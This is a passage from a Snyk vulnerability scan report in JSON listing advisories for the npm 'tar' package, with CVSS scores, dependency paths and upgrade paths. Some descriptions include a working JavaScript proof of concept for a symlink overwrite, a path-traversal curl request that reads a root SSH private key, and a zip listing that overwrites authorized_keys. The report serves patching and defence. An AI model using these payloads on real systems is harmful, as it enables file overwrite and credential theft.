"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", 